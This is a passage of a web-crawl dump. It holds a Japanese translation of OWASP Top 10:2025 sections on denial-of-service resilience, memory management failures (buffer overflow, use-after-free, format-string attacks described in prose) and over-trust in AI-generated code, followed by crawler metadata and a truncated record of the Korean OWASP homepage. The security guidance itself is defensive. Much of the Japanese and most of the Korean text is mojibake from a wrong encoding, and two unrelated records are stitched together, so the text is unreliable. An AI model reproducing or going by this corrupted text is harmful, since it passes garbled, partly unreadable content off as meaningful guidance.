プルーフ・オブ・ワーク (Proof-of-Work)ďźšé€šĺ¸¸ăŽăƒŚăƒźă‚śăƒźăŤăŻĺ¤§ăăŞĺ˝ąéŸżă‚’ä¸Žăˆăšă€ĺ¤§é‡ăŽăƒŞă‚Żă‚¨ă‚šăƒˆă‚’é€äżĄă—ă‚ˆă†ă¨ă™ă‚‹ăƒœăƒƒăƒˆăŤăŽăżč˛ čˇă‚’ĺźˇă„ă‚‹ă‚ˆă†ăŞă€ăƒŞă‚˝ăƒźă‚šă‚’ćśˆč˛ťă™ă‚‹ć“ä˝œă‚’ă€Œć”ťć’ƒč€…ĺ´ă€ă§é–‹ĺ§‹ă•ă›ăŚăă ă•ă„ă€‚ă‚ˇă‚šăƒ†ăƒ ăŽĺ…¨čˆŹçš„ăŞč˛ čˇăŒä¸Šć˜‡ă—ăŸéš›ă€ç‰šăŤäżĄé źć€§ăŽä˝Žă„ă€ă‚ă‚‹ă„ăŻăƒœăƒƒăƒˆă¨ć€ă‚ă‚Œă‚‹ă‚ˇă‚šăƒ†ăƒ ăŤĺŻžă—ăŚă€ăƒ—ăƒŤăƒźăƒ•ăƒťă‚Şăƒ–ăƒťăƒŻăƒźă‚Żă‚’ă‚ˆă‚Šĺ›°é›ŁăŤă—ăŚăă ă•ă„ă€‚\n- 無活動時間に基づくアイドルタイムアウトおよび最終タイムアウトを設定し、サーバー側のセッション時間を制限してください。\n- ă‚ťăƒƒă‚ˇăƒ§ăƒłăŤç´äť˜ăćƒ…ĺ ąă‚šăƒˆăƒŹăƒźă‚¸ăŽé‡ă‚’ĺˆśé™ă—ăŚăă ă•ă„ă€‚\n\n### 攻撃シナリオの例 (Example attack scenarios.)\n\n**シナリオ #1:** 攻撃者が意図的にアプリケーションリソースを消費させてシステム内の障害を誘発し、サービス拒否 (DoS) ă‚’ĺź•ăčľˇă“ă™ă€‚ă“ă‚ŒăŤăŻă€ăƒĄăƒ˘ăƒŞăŽćžŻć¸‡ă€ăƒ‡ă‚Łă‚šă‚ŻĺŽšé‡ăŽĺ ćœ‰ă€CPU の飽和、または際限のない接続による枯渇(endless connections)などが含まれます。\n\n**シナリオ #2:** 入力へのファジング (Fuzzing) ăŤă‚ˆă‚Šă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽăƒ“ă‚¸ăƒă‚šăƒ­ă‚¸ăƒƒă‚Żă‚’ç ´ĺŁŠă™ă‚‹ă‚ˆă†ăŞç‰šĺŽšăŽăƒŹă‚šăƒăƒłă‚šă‚’ĺź•ăčľˇă“ă™ă€‚\n\n**シナリオ #3:** 攻撃者がアプリケーションの依存関係に注目し、API やその他の外部サービスを停止させる。アプリケーションはそれらのサービスなしでは継続できなくなります。\n\n### 関連資料 (References.)\n\n- [OWASP Cheat Sheet: サービス拒否 (Denial of Service)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [ASP.NET Core ベストプラクティス (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [マイクロサービスにおけるレジリエンス:バルクヘッド vs サーキットブレーカー (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [バルクヘッドパターン (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [NIST サイバーセキュリティフレームワーク (CSF)](https://www.nist.gov/cyberframework)\n- [ブロッキング呼び出しの回避:Java で非同期化する (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-400 Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)](https://cwe.mitre.org/data/definitions/409.html)\n- [CWE-674 Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html)\n- [CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')](https://cwe.mitre.org/data/definitions/835.html)\n\n## X02:2025 メモリ管理の失敗 (Memory Management Failures)\n\n### 背景 (Background.)\n\nJava、C#、JavaScript/TypeScript (node.js)、Go、および「安全な」Rust といった言語は、メモリ安全 (Memory safe) です。メモリ管理の問題は、C や C++ のような非メモリ安全言語で発生する傾向があります。本カテゴリは、関連する CVE が 3 番目に多いにもかかわらず、コミュニティ調査では最も低いスコアであり、データ上でも低いスコアとなりました。これは、従来のデスクトップアプリケーションよりもウェブアプリケーションが主流となっているためと考えられます。メモリ管理の脆弱性は、しばしば最高の CVSS スコアを記録します。\n\n### スコアテーブル (Score table.)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 | 30,978 |\n\n### 説明 (Description.)\n\nă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŒč‡ŞčşŤă§ăƒĄăƒ˘ăƒŞă‚’çŽĄç†ă—ăŞă‘ă‚Œă°ăŞă‚‰ăŞă„ĺ ´ĺˆă€ăƒŸă‚šă‚’çŠŻă™ăŽăŻéžĺ¸¸ăŤĺŽšć˜“ă§ă™ă€‚ăƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨č¨€čŞžăŽä˝żç”¨ăŻĺ˘—ăˆăŚă„ăžă™ăŒă€ä¸–ç•Œä¸­ă§äžç„śă¨ă—ăŚĺ¤šăăŽăƒŹă‚Źă‚ˇăƒźă‚ˇă‚šăƒ†ăƒ ăŒç¨źĺƒă—ăŚăŠă‚Šă€éžăƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨č¨€čŞžăŽä˝żç”¨ă‚’ĺż…čŚă¨ă™ă‚‹ć–°ă—ă„ä˝ŽăƒŹăƒ™ăƒŤă‚ˇă‚šăƒ†ăƒ ă‚„ă€ăƒĄă‚¤ăƒłăƒ•ăƒŹăƒźăƒ ă€IoT デバイス、ファームウェア、および自身でのメモリ管理を強いられる可能性のあるその他のシステムと対話するウェブアプリケーションも存在します。代表的な CWE は、入力サイズの確認なしでのバッファコピー(クラシックなバッファオーバーフロー) (CWE-120) および スタックベースのバッファオーバーフロー (CWE-121) です。\n\năƒĄăƒ˘ăƒŞçŽĄç†ăŽĺ¤ąć•—ăŻă€äťĽä¸‹ăŽĺ ´ĺˆăŤç™şç”Ÿă™ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n\n- 変数に十分なメモリを割り当てていない\n- 入力を検証しておらず、ヒープ、スタック、またはバッファのオーバーフローを引き起こしている\n- 変数の型が保持できるサイズよりも大きなデータ値を保存している\n- 未割り当てのメモリやアドレス空間を使用しようとしている\n- オフバイワン (Off-by-one) エラー(0 ではなく 1 から数え始める等)を作成している\n- 解放 (Free) された後のオブジェクトにアクセスしようとしている\n- 未初期化の変数を使用している\n- メモリリークを起こしている、あるいはアプリケーションが失敗するまでエラーによって利用可能なすべてのメモリを使い果たしている\n\nメモリ管理の失敗は、アプリケーションやシステム全体の失敗に繋がる可能性があります(X01:2025 ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăƒťăƒŹă‚¸ăƒŞă‚¨ăƒłă‚šăŽćŹ ĺŚ‚ も参照してください)。\n\n### 防止方法 (How to prevent.)\n\nメモリ管理の失敗を防ぐ最善の方法は、メモリ安全言語を使用することです。例としては、Rust、Java、Go、C#、Python、Swift、Kotlin、JavaScript ăŞăŠăŒćŒ™ă’ă‚‰ă‚Œăžă™ă€‚ć–°ă—ă„ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚’ä˝œćˆă™ă‚‹éš›ăŻă€ăƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨č¨€čŞžă¸ăŽĺˆ‡ă‚Šć›żăˆăŤäź´ă†ĺ­Śçż’ć›˛çˇšăŒăă‚Œă ă‘ăŽäžĄĺ€¤ăŒă‚ă‚‹ă“ă¨ă‚’ă€çľ„çš”ăŤĺŻžă—ăŚĺźˇăčŞŹĺž—ă—ăŚăă ă•ă„ă€‚ăƒ•ăƒŤăƒŞăƒ•ă‚Ąă‚Żă‚żăƒŞăƒłă‚°ă‚’čĄŒă†ĺ ´ĺˆăŻă€ĺŻčƒ˝ă‹ă¤ĺŽŸçžĺŻčƒ˝ăŞçŻ„ĺ›˛ă§ă€ăƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨č¨€čŞžă§ăŽć›¸ăć›ăˆă‚’ćŽ¨é€˛ă—ăŚăă ă•ă„ă€‚\n\năƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨č¨€čŞžă‚’ä˝żç”¨ă§ăăŞă„ĺ ´ĺˆăŻă€äťĽä¸‹ă‚’ĺŽŸć–˝ă—ăŚăă ă•ă„ă€‚\n\n- メモリ管理エラーの悪用を困難にする以下のサーバー機能を有効にしてください:アドレス空間配置のランダム化 (ASLR: Address Space Layout Randomization)、データ実行防止 (DEP: Data Execution Protection)ă€ăŠă‚ˆăłć§‹é€ ĺŒ–äž‹ĺ¤–ăƒăƒłăƒ‰ăƒŠăƒźä¸Šć›¸ăäżč­ˇ (SEHOP: Structured Exception Handling Overwrite Protection)。\n- アプリケーションのメモリリークを監視してください。\n- システムへのすべての入力を非常に慎重に検証し、期待を満たさないすべての入力を拒否してください。\n- ä˝żç”¨ă—ăŚă„ă‚‹č¨€čŞžă‚’ĺ­Śçż’ă—ă€ĺŽ‰ĺ…¨ă§ăŞă„é–˘ć•°ă¨ă‚ˆă‚ŠĺŽ‰ĺ…¨ăŞé–˘ć•°ăŽăƒŞă‚šăƒˆă‚’ä˝œćˆă—ă€ăƒăƒźăƒ ĺ…¨ä˝“ă§ĺ…ąćœ‰ă—ăŚăă ă•ă„ă€‚ĺŻčƒ˝ă§ă‚ă‚Œă°ă€ĺŽ‰ĺ…¨ăŞă‚łăƒźăƒ‡ă‚Łăƒłă‚°ă‚Źă‚¤ăƒ‰ăƒŠă‚¤ăƒłă‚„ć¨™ćş–ăŤčż˝ĺŠ ă—ăŚăă ă•ă„ă€‚äž‹ăˆă° C 言語では、 `strcpy()` よりも `strncpy()` を、 `strcat()` よりも `strncat()` を優先してください。\n- č¨€čŞžă‚„ăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŒăƒĄăƒ˘ăƒŞĺŽ‰ĺ…¨ăƒŠă‚¤ăƒ–ăƒŠăƒŞă‚’ćäž›ă—ăŚă„ă‚‹ĺ ´ĺˆăŻă€ăă‚Œă‚’ä˝żç”¨ă—ăŚăă ă•ă„ă€‚äž‹ďźšSafestringlib や SafeStr。\n- 可能な限り、生の配列やポインタではなく、管理されたバッファや文字列を使用してください。\n- メモリの問題や選択した言語に焦点を当てた安全なコーディングトレーニングを受けてください。トレーナーに対して、メモリ管理の失敗を懸念していることを伝えてください。\n- コードレビューや静的解析を実施してください。\n- StackShield、StackGuard、Libsafe などのメモリ管理を支援するコンパイラツールを使用してください。\n- システムへのすべての入力に対してファジング (Fuzzing) を実施してください。\n- ăƒšăƒăƒˆăƒŹăƒźă‚ˇăƒ§ăƒłăƒ†ă‚šăƒˆă‚’ĺŽŸć–˝ă™ă‚‹ĺ ´ĺˆăŻă€ăƒĄăƒ˘ăƒŞçŽĄç†ăŽĺ¤ąć•—ă‚’ć‡¸ĺżľă—ăŚăŠă‚Šă€ăƒ†ă‚šăƒˆä¸­ăŤç‰šĺˆĽăŞćł¨ć„ă‚’ć‰•ăŁăŚăťă—ă„ă“ă¨ă‚’ăƒ†ă‚šă‚żăƒźăŤäźăˆăŚăă ă•ă„ă€‚\n- コンパイラのエラー **および** 警告をすべて修正してください。プログラムがコンパイルできるからといって、警告を無視しないでください。\n- 基盤となるインフラストラクチャに対して、定期的なパッチ適用、スキャン、および要塞化 (Hardening) を実施してください。\n- 基盤となるインフラストラクチャにおいて、潜在的なメモリ脆弱性やその他の失敗がないか、特に注意して監視してください。\n- [カナリア (Canaries)](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) を使用して、アドレススタックをオーバーフロー攻撃から保護することを検討してください。\n\n### 攻撃シナリオの例 (Example attack scenarios.)\n\n**シナリオ #1:** ăƒăƒƒăƒ•ă‚Ąă‚Şăƒźăƒăƒźăƒ•ăƒ­ăƒźăŻćœ€ă‚‚ćœ‰ĺăŞăƒĄăƒ˘ăƒŞč„†ĺźąć€§ă§ă‚ă‚Šă€ć”ťć’ƒč€…ăŒăƒ•ă‚ŁăƒźăƒŤăƒ‰ăŤĺ—ă‘ĺ…Ľă‚ŒĺŻčƒ˝ăŞé‡äťĽä¸ŠăŽćƒ…ĺ ąă‚’é€äżĄă—ă€ĺŸşç›¤ă¨ăŞă‚‹ĺ¤‰ć•°ăŤç”¨ć„ă•ă‚ŒăŸăƒăƒƒăƒ•ă‚Ąă‚’ćş˘ă‚Œă•ă›ă‚‹çŠśćłă§ă™ă€‚ć”ťć’ƒăŒćˆĺŠŸă™ă‚‹ă¨ă€ćş˘ă‚ŒăŸć–‡ĺ­—ăŒă‚šă‚żăƒƒă‚Żăƒă‚¤ăƒłă‚żă‚’ä¸Šć›¸ăă—ă€ć”ťć’ƒč€…ăŒăƒ—ăƒ­ă‚°ăƒŠăƒ ăŤć‚Şć„ăŽă‚ă‚‹ĺ‘˝äť¤ă‚’ćŒżĺ…Ľă§ăă‚‹ă‚ˆă†ăŤăŞă‚Šăžă™ă€‚\n\n**シナリオ #2:** Use-After-Free (UAF) ăŻă€ăƒ–ăƒŠă‚Śă‚śăŽăƒă‚°ăƒă‚Śăƒłăƒ†ă‚Łćĺ‡şăŤăŠă„ăŚĺŠă°ä¸€čˆŹçš„ăŞăťăŠé ťçšăŤç™şç”Ÿă—ăžă™ă€‚DOM čŚç´ ă‚’ć“ä˝œă™ă‚‹ JavaScript を処理するウェブブラウザを想像してください。攻撃者は、オブジェクト(DOM čŚç´ ç­‰ďź‰ă‚’ä˝œćˆă—ăŚăăŽĺ‚ç…§ă‚’ĺ–ĺž—ă™ă‚‹ JavaScript ペイロードを作成します。巧妙な操作を通じて、ブラウザにそのオブジェクトのメモリを解放させつつ、そのオブジェクトへのダングリングポインタを保持させます。ブラウザがメモリの解放に気づく前に、攻撃者は**同じ**ăƒĄăƒ˘ăƒŞçŠşé–“ă‚’ĺ ćœ‰ă™ă‚‹ć–°ă—ă„ă‚Şăƒ–ă‚¸ă‚§ă‚Żăƒˆă‚’ĺ‰˛ă‚Šĺ˝“ăŚăžă™ă€‚ăƒ–ăƒŠă‚Śă‚śăŒĺ…ƒăŽăƒă‚¤ăƒłă‚żă‚’ä˝żç”¨ă—ă‚ˆă†ă¨ă™ă‚‹ă¨ă€ăă‚ŒăŻć”ťć’ƒč€…ăŒĺˆśĺžĄă™ă‚‹ăƒ‡ăƒźă‚żă‚’ćŒ‡ă™ă‚ˆă†ăŤăŞă‚Šăžă™ă€‚ă“ăŽăƒă‚¤ăƒłă‚żăŒäťŽćƒłé–˘ć•°ăƒ†ăƒźăƒ–ăƒŤç”¨ă§ă‚ăŁăŸĺ ´ĺˆă€ć”ťć’ƒč€…ăŻă‚łăƒźăƒ‰ăŽĺŽŸčĄŒă‚’č‡ŞčşŤăŽăƒšă‚¤ăƒ­ăƒźăƒ‰ăŤăƒŞăƒ€ă‚¤ăƒŹă‚Żăƒˆă•ă›ă‚‹ă“ă¨ăŒă§ăăžă™ă€‚\n\n**シナリオ #3:** ユーザー入力を受け取り、適切に検証や無害化 (Sanitization) を行わず、そのままロギング関数に渡すネットワークサービス。ユーザーからの入力が、フォーマットを指定せずに `syslog(\"%s\", user_input)` ではなく `syslog(user_input)` としてロギング関数に渡されます。攻撃者は `%x` などの書式指定子を含む悪意のあるペイロードを送信してスタックメモリを読み取ったり(機密データの露出)、`%n` を用いてメモリ番地に書き込んだりします。複数の書式指定子を連鎖させることで、スタックの構成を把握し、重要なアドレスを特定して上書きすることができます。これは 書式文字列の脆弱性 (Format string vulnerability)(制御されていない書式文字列)です。\n\n注:モダンなブラウザは、このような攻撃から守るために、ブラウザサンドボックス (Browser sandboxing)、ASLR、DEP/NX、RELRO、PIE などの多くの階層の防御を備えています。ブラウザに対するメモリ管理の失敗を突いた攻撃は、実行するのが容易な攻撃ではありません。\n\n### 関連資料 (References.)\n\n- [OWASP community pages: メモリリーク (Memory leak),](https://owasp.org/www-community/vulnerabilities/Memory_leak) [メモリの二重解放 (Doubly freeing memory),](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [および バッファオーバーフロー (Buffer Overflow)](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: ファジングリソースのリスト](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero ブログ](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC ブログ](https://www.microsoft.com/en-us/msrc/blog)\n\n### 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-14 Compiler Removal of Code to Clear Buffers](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 Stack-based Buffer Overflow](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 Buffer Underwrite ('Buffer Underflow')](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 Buffer Over-read](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 Integer Underflow (Wrap or Wraparound)](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 Unsigned to Signed Conversion Error](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 Double Free](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 Use After Free](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 Use of Uninitialized Variable](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 Use of sizeof() on a Pointer Type](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 Out-of-bounds Write](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 Access of Memory Location After End of Buffer](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 Access of Uninitialized Pointer](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 AI ç”Ÿćˆă‚łăƒźăƒ‰ă¸ăŽä¸éŠĺˆ‡ăŞäżĄé ź (Inappropriate Trust in AI Generated Code) (「バイブ・コーディング (Vibe Coding)」)\n\n### 背景 (Background.)\n\n現在、全世界が AI について語り、利用しており、これにはソフトウェア開発者も含まれます。現時点では AI 生成コードに関連する CVE や CWE は存在しませんが、AI が生成したコードは人間が書いたコードよりも脆弱性を含むことが多いことが、広く知られ、文書化されています。\n\n### 説明 (Description.)\n\nソフトウェア開発の実践において、AI の支援を受けてコードを書くだけでなく、人間の監視をほぼ経ずにコードが書かれコミットされる(しばしば「バイブ・コーディング (Vibe coding)」と呼ばれます)よう変化しているのを私たちは目にしています。ブログやウェブサイトからコードスニペットを深く考えずにコピーするのが決して良いアイデアではなかったのと同様に、このケースでは問題がさらに悪化しています。優れた安全なコードスニペットはかつても今も稀であり、システムの制約により AI によって統計的に無視される可能性があります。\n\n### 防止方法 (How to prevent.)\n\nAI を使用する際、コードを書くすべての人々に以下を考慮することを強く求めます。\n\n- AI ăŤă‚ˆăŁăŚć›¸ă‹ă‚ŒăŸă‚łăƒźăƒ‰ă‚„ă‚ŞăƒłăƒŠă‚¤ăƒłăƒ•ă‚ŠăƒźăƒŠăƒ ă‹ă‚‰ă‚łăƒ”ăƒźă—ăŸă‚łăƒźăƒ‰ă§ă‚ăŁăŚă‚‚ă€č‡ŞčşŤăŒćĺ‡şă™ă‚‹ă™ăšăŚăŽă‚łăƒźăƒ‰ă‚’čŞ­ăżă€ĺŽŒĺ…¨ăŤç†č§Łă—ăŚă„ă‚‹ĺż…čŚăŒă‚ă‚Šăžă™ă€‚ă‚łăƒŸăƒƒăƒˆă™ă‚‹ă™ăšăŚăŽă‚łăƒźăƒ‰ăŤĺŻžă—ăŚč˛Źäťťă‚’č˛ ă†ăŽăŻă‚ăŞăŸč‡ŞčşŤă§ă™ă€‚\n- AI の支援を受けたコードを、脆弱性がないか徹底的にレビューしてください。理想的には自身の目で、またその目的のために作られたセキュリティツール(静的解析など)も使用してください。 [OWASP Cheat Sheet: 安全なコードレビュー](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) で説明されているような古典的なコードレビュー手法の活用を検討してください。\n- 理想的には、自身でコードを書き、AI に改善を提案させ、AI のコードをチェックし、結果に満足するまで AI に修正を行わせることです。\n- 自身で収集・精査した安全なコードサンプルや文書(組織の安全なコーディングガイドライン、標準、またはポリシー等)を備えた検索拡張生成 (RAG: Retrieval Augmented Generation) サーバーの使用を検討し、RAG サーバーにポリシーや標準を遵守させてください。\n- 選択した AI で使用するために、プライバシーやセキュリティのガードレールを実装したツールの購入を検討してください。\n- プライベート AI ăŽčłźĺ…Ľă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚ç†ćƒłçš„ăŤăŻă€çľ„çš”ăŽăƒ‡ăƒźă‚żă€ă‚Żă‚¨ăƒŞă€ă‚łăƒźăƒ‰ă€ăžăŸăŻăăŽäť–ăŽćŠŸĺŻ†ćƒ…ĺ ąă§ AI が学習されないような契約合意(プライバシー合意を含む)を結んでください。\n- IDE と AI の間にモデル・コンテキスト・プロトコル (MCP: Model Context Protocol) サーバーを導入し、選択したセキュリティツールの使用を強制するように設定することを検討してください。\n- 開発者(およびすべての従業員)に対し、組織内で AI をどのように使用すべきか、あるいは使用すべきでないかを周知するためのポリシーとプロセスを SDLC の一部として実装してください。\n- IT セキュリティのベストプラクティスを考慮した、高品質で効果的なプロンプトのリストを作成してください。理想的には、内部の安全なコーディングガイドラインも考慮に入れるべきです。開発者はこれらのプロンプトを自身のプログラムの開始点として利用できます。\n- AI は、システム開発ライフサイクルの各フェーズの一部となる可能性が高いですが、効果的かつ安全に利用する方法の両方を考慮してください。賢明に利用してください。\n- 実際のところ、複雑な機能、ビジネス上重要なプログラム、または長期間使用されるプログラムに対して、バイブ・コーディングを用いることは **推奨されません** 。\n- シャドー AI (Shadow AI) の利用に対する技術的なチェックと保護策を実装してください。\n- ăƒăƒŞă‚ˇăƒźăŤĺŠ ăˆă€ĺŽ‰ĺ…¨ăŞ AI の利用方法やソフトウェア開発における AI 利用のベストプラクティスについて、開発者をトレーニングしてください。\n\n### 関連資料 (References.)\n\n- [OWASP Cheat Sheet: 安全なコードレビュー (Secure Code Review)](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n-なし-", "znaku_textu": 25304, "slov": 960, "odkazu": 89, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:28", "sha256": "86b63b09575213b9f3f0b7070a864aa4e7dba0f241802d1428a0469f3bb64676", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/409.html", "https://cwe.mitre.org/data/definitions/674.html", "https://cwe.mitre.org/data/definitions/835.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/", "titulek": "홈 - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "이번 ë˛„ě „ 소개"}, {"uroven": 2, "text": "메인 í”„ëĄœě íŠ¸ 페이지"}, {"uroven": 2, "text": "시작하기"}, {"uroven": 2, "text": "몊차"}, {"uroven": 3, "text": "Top 10:2025 목록"}], "markdown": "# OWASP Top 10:2025\n\nOWASP Top 10:2025 ë˛„ě „ě— ě˜¤ě‹ ę˛ƒě„ 환영합니다.\n\nOWASP Top 10은 개발자와 웹 ě• í”ŒëŚŹěź€ě´ě…˜ 보안을 위한 인식 ě œęł ěšŠ 자료이며, 웹 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 가장 중대한 보안 위험에 대한 업계의 폭넓은 합의를 반영한다.\n\n## 이번 ë˛„ě „ 소개\n\n이 문서는 OWASP Top 10의 2025년 ë˛„ě „ě´ë‹¤. ěľœě‹ ë°ě´í„°ě™€ 보안 동향을 반영하여 업데이트되었다.\n\n## 메인 í”„ëĄœě íŠ¸ 페이지\n\n[메인 í”„ëĄœě íŠ¸ 페이지](https://github.com/OWASP/www-project-top-ten)에는 ęłźęą° 자료를 포함한, 해당 í”„ëĄœě íŠ¸ě˜ 메타데이터가 ě •ëŚŹë˜ě–´ 있다.\n\n## 시작하기\n\n2025년 ë˛„ě „ě—ě„œ 변경되거나 추가된 내용을 íŒŒě•…í•˜ë ¤ëŠ´ [소개](0x00_2025-Introduction/) 페이지를 획인하라.\n\n## 몊차\n\n- [소개](0x00_2025-Introduction/)\n- [OWASP 소개](0x01_2025-About_OWASP/)\n- [ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험이란 무엇인가?](0x02_2025-What_are_Application_Security_Risks/)\n- [í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 목록\n\n1. [A01:2025 - 충분한 ě ‘ęˇź ě œě–´](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - 보안 ě„¤ě • 오뼘](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - 소프트웨어 공급망 실패](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - 암호 체계 실패](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - ě¸ě ě…˜](A05_2025-Injection/)\n6. [A06:2025 - ě•ˆě „í•˜ě§€ 않은 설계](A06_2025-Insecure_Design/)\n7. [A07:2025 - 인증 실패](A07_2025-Authentication_Failures/)\n8. [A08:2025 - 소프트웨어 또는 데이터 무결성 실패](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - 보안 로깅 및 알림 실패](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - ëś€ě ě ˆí•œ 예외 처댏](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**ě°¸ęł :** 번역은 준비되는 대로 ěˆœě°¨ě ěœźëĄœ ěś”ę°€ë ě˜ˆě •ě´ë‹¤.", "znaku_textu": 1964, "slov": 200, "odkazu": 34, "kodovani": "iso-8859-2", "kodovani_deklarovane": 